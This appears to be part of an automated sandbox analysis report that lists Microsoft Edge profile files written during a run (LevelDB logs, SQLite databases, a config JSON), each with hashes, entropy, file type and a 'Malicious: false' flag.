Preview:	2024/11/17-04:07:34.962 2198 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/17-04:07:34.964 2198 Recovering log #3.2024/11/17-04:07:34.970 2198 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46273546864708537
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuX:TouQq3qh7z3bY2LNW9WMcUvBuX
MD5:	4F408527D7D028E901592F0A6F28B40B
SHA1:	3D4AF20FBF844AE3E922049388884B86C8E03B5E
SHA-256:	B126BCB081D1656CD8951A309A667D3FA97912CD6106587E5E8C9FFF51CDB774
SHA-512:	0548A8786DE6CFEEB8456D334EC29FC75DD3F418BD5CD7DE33F40F20134187FB42310A2DD949ECA3C665646D0F922B49B1D86EB9C559DFF6F7125A490C27F2F4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.14244810985696
Encrypted:	false
SSDEEP:	6:HUR2q2PN723oH+TcwtnG2tMsIFUt8YURvZmw+YUR9kwON723oH+TcwtnG2tMsLJ:k2vVaYebn9GFUt8bv/+b95OaYebn95J
MD5:	155AE53D069917B481FC6E09FB995FDF
SHA1:	65549E8FE2378C45BF027B8FC99F0067C40C35C8
SHA-256:	E60E2B898C102AC1D5F47F483B5BE8733D6BE7E1B2F90BE954CDC574CC3A6662
SHA-512:	BF4056B06706B23E741D7C1AB29FC4898EEA22809B29C7CD99AC056F475D3347BEFC2544930BB449401E699AAF9F23908C4051730C81CDF1143FFC5EB5B83790
Malicious:	false
Preview:	2024/11/17-04:07:29.801 1d00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/17-04:07:29.801 1d00 Recovering log #3.2024/11/17-04:07:29.801 1d00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.14244810985696
Encrypted:	false
SSDEEP:	6:HUR2q2PN723oH+TcwtnG2tMsIFUt8YURvZmw+YUR9kwON723oH+TcwtnG2tMsLJ:k2vVaYebn9GFUt8bv/+b95OaYebn95J
MD5:	155AE53D069917B481FC6E09FB995FDF
SHA1:	65549E8FE2378C45BF027B8FC99F0067C40C35C8
SHA-256:	E60E2B898C102AC1D5F47F483B5BE8733D6BE7E1B2F90BE954CDC574CC3A6662
SHA-512:	BF4056B06706B23E741D7C1AB29FC4898EEA22809B29C7CD99AC056F475D3347BEFC2544930BB449401E699AAF9F23908C4051730C81CDF1143FFC5EB5B83790
Malicious:	false
Preview:	2024/11/17-04:07:29.801 1d00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/17-04:07:29.801 1d00 Recovering log #3.2024/11/17-04:07:29.801 1d00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6134008835535475
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWIMElMAlFMc:TLapR+DDNzWjJ0npnyXKUO8+jlp7MmL
MD5:	7F66929BED69EA8031B73387DC2AE066
SHA1:	3CF0467A34C58777F540E6F71E17EEAC4F811B8E
SHA-256:	92BE6BED7E2E6103016F14956EA63E318B765440D63C070FC00301A0D77E0156
SHA-512:	B23091BA7AF430EDC5FEC6E05001D00333F49912ECCE1138E61E3E63AFC01FFF957C999FCE3463D2BA31BB8961696085B328D9457BAFAF8D8333AE2447E3BE68
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354046019646866
Encrypted:	false
SSDEEP:	6144:ZA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:ZFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	9BD24F6492E22AFE48D6E54972258DFD
SHA1:	009271A9AE7D275BC9BC72489E661FF18706EFED
SHA-256:	EEA62D070B0000227BE78207BAEC77711ECF14D631B012A77E1C9CBEE6511F59
SHA-512:	1CF87CC5CCF3B786F70FACF921B22403E84933102EE79D69243DF6C0BD5C18FF02E03DC5E0492833B6A0CAFB7CC87B87878F482DD039CDB63B2C0F788FBBEBC2
Malicious:	false
Preview:	...m.................DB_VERSION.1Kr.tq...............&QUERY_TIMESTAMP:domains_config_gz2...13376308056311071..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.15963701941413
Encrypted:	false
SSDEEP:	6:HURY1N723oH+Tcwtk2WwnvB2KLlVURCUIZ+q2PN723oH+Tcwtk2WwnvIFUv:k4aYebkxwnvFL8YUvVaYebkxwnQFUv
MD5:	F23785B073260600239DB05333546643
SHA1:	4912BC624ED748C924B03A5ABB2623262EC273FD
SHA-256:	025C475062EF3D9AF5AFDA3D595679D20EF16DEA97B78B0F9297ECB003682F46
SHA-512:	F267FCAF25BFC760975BF424351A6575C5AB392CE94D17F45F45878C07B731A0220F634ADF7C6B1FE1CA1AB0888347AA61FBA66847C0D5924B1B58BF459DB857
Malicious:	false
Preview:	2024/11/17-04:07:34.984 2178 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/17-04:07:35.107 2178 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324611201991298
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RR:C1gAg1zfvJ
MD5:	A017CFAB43626B28EF75E164D0A5C2EA
SHA1:	FCDB8440AE3338354E42787E7FE4D65D19CDD71B
SHA-256:	687D4210C4DCD09929E21E98B621504EDE9B18D16368C56EB5132650804A59D8
SHA-512:	9E7EB8ADCAD6ED80D33B90E30DAAFE21C03AD9BAC865DBE3193206A449246692F7C82CA5051E5645C471202736427CBAAF9AC90E400CA31C8335E5C5635CD7BE
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.172160945157405
Encrypted:	false
SSDEEP:	6:HURG8Oq2PN723oH+Tcwt8aPrqIFUt8YURAZmw+YURokwON723oH+Tcwt8amLJ:kfOvVaYebL3FUt8bA/+bo5OaYebQJ
MD5:	385C2AE4B89DB91415D87EF1E883066D
SHA1:	7F34457BAA70AF9B9A7C48D521EBA300B041EBB1
SHA-256:	FE7F14271AF99E1FCC96ADBD2DA4391F56D4B26255D9A420FB0156425ED92E61
SHA-512:	372CC5709BE0EDE8510E6D11077819BC1E8EFDAEA00B2962CFFAF9024CD8AE2EF6061DF54DE90A7B62A3B7D4F1BA2F2290F77CAA717CA782320745B768ADA44A
Malicious:	false
Preview:	2024/11/17-04:07:29.842 1c60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/17-04:07:29.843 1c60 Recovering log #3.2024/11/17-04:07:29.843 1c60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.172160945157405
Encrypted:	false
SSDEEP:	6:HURG8Oq2PN723oH+Tcwt8aPrqIFUt8YURAZmw+YURokwON723oH+Tcwt8amLJ:kfOvVaYebL3FUt8bA/+bo5OaYebQJ
MD5:	385C2AE4B89DB91415D87EF1E883066D
SHA1:	7F34457BAA70AF9B9A7C48D521EBA300B041EBB1
SHA-256:	FE7F14271AF99E1FCC96ADBD2DA4391F56D4B26255D9A420FB0156425ED92E61
SHA-512:	372CC5709BE0EDE8510E6D11077819BC1E8EFDAEA00B2962CFFAF9024CD8AE2EF6061DF54DE90A7B62A3B7D4F1BA2F2290F77CAA717CA782320745B768ADA44A
Malicious:	false
Preview:	2024/11/17-04:07:29.842 1c60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/17-04:07:29.843 1c60 Recovering log #3.2024/11/17-04:07:29.843 1c60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1772286420678455
Encrypted:	false
SSDEEP:	6:HURjMq2PN723oH+Tcwt865IFUt8YURpYZmw+YURpbZFzkwON723oH+Tcwt86+ULJ:kjMvVaYeb/WFUt8bK/+bfFz5OaYeb/+e
MD5:	72B87E8F968AFD643EA313A5D51AADD3
SHA1:	6B1D41533C5C6F7F93C9A1E36AC869C62B561C6C
SHA-256:	80D47B65CCBB7147E6811BD731C9395EC77CC245A7431456367DA98C6B70CB5C
SHA-512:	9ED6EC45EC8F247B4560344E6D5353795472F530FF01605994A0591C192E87CAD4944A91A57838D0529D0E243145E40640580F9A27A8E2F04AB787A13937367B
Malicious:	false
Preview:	2024/11/17-04:07:29.888 1c60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/17-04:07:29.913 1c60 Recovering log #3.2024/11/17-04:07:29.914 1c60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1772286420678455
Encrypted:	false
SSDEEP:	6:HURjMq2PN723oH+Tcwt865IFUt8YURpYZmw+YURpbZFzkwON723oH+Tcwt86+ULJ:kjMvVaYeb/WFUt8bK/+bfFz5OaYeb/+e
MD5:	72B87E8F968AFD643EA313A5D51AADD3
SHA1:	6B1D41533C5C6F7F93C9A1E36AC869C62B561C6C
SHA-256:	80D47B65CCBB7147E6811BD731C9395EC77CC245A7431456367DA98C6B70CB5C
SHA-512:	9ED6EC45EC8F247B4560344E6D5353795472F530FF01605994A0591C192E87CAD4944A91A57838D0529D0E243145E40640580F9A27A8E2F04AB787A13937367B
Malicious:	false
Preview:	2024/11/17-04:07:29.888 1c60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/17-04:07:29.913 1c60 Recovering log #3.2024/11/17-04:07:29.914 1c60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.16397974861929
Encrypted:	false
SSDEEP:	6:HURSmq2PN723oH+Tcwt8NIFUt8YURSVZmw+YURSkkwON723oH+Tcwt8+eLJ:kSmvVaYebpFUt8bSV/+bSk5OaYebqJ
MD5:	CB133148A37AB4B27DD5BFF34B17A957
SHA1:	82BFC4DF60A99D17249608B3C20E6D747E0769BC
SHA-256:	1CAF65D3943468882389AD100395EA2183EE59B8FAD22BEAEED6D51F9A0B5E27
SHA-512:	0BF4A1A66B508DCCC6619A5F80E76B2B6586BDC16BD2931DCAF717F897A1153CAB4680A8045E9427447BF1C2E0BFD5378C1C5F751CEF3C0FE5DAD73418462E09
Malicious:	false
Preview:	2024/11/17-04:07:30.565 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/17-04:07:30.567 1c54 Recovering log #3.2024/11/17-04:07:30.568 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.16397974861929
Encrypted:	false
SSDEEP:	6:HURSmq2PN723oH+Tcwt8NIFUt8YURSVZmw+YURSkkwON723oH+Tcwt8+eLJ:kSmvVaYebpFUt8bSV/+bSk5OaYebqJ
MD5:	CB133148A37AB4B27DD5BFF34B17A957
SHA1:	82BFC4DF60A99D17249608B3C20E6D747E0769BC
SHA-256:	1CAF65D3943468882389AD100395EA2183EE59B8FAD22BEAEED6D51F9A0B5E27
SHA-512:	0BF4A1A66B508DCCC6619A5F80E76B2B6586BDC16BD2931DCAF717F897A1153CAB4680A8045E9427447BF1C2E0BFD5378C1C5F751CEF3C0FE5DAD73418462E09
Malicious:	false
Preview:	2024/11/17-04:07:30.565 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/17-04:07:30.567 1c54 Recovering log #3.2024/11/17-04:07:30.568 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:azZtFlljq7A/mhWJFuQ3yy7IOWU8qdweytllrE9SFcTp4AGbNCV9RUIhnz:azC75fOGqd0Xi99pEYfz
MD5:	7319C9B0E7DFC2C5E4C4DCA798FCF24B
SHA1:	335C51CE196408BCFB1768BE2312CADC99B52FD5
SHA-256:	0BF36002A33A54F46ACEAB6A5573130F6C62608A97B7FCC54E493E6698ACB063
SHA-512:	9B8614FE481AD51A586C3967874EBEBB235D161AE85CACFFB1E8CB2046EA5FEA0784A62E5B052039C2FC1491E5453C1C7009FD79A02D22933F8807443745F273
Malicious:	false
Preview:	.............fB....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
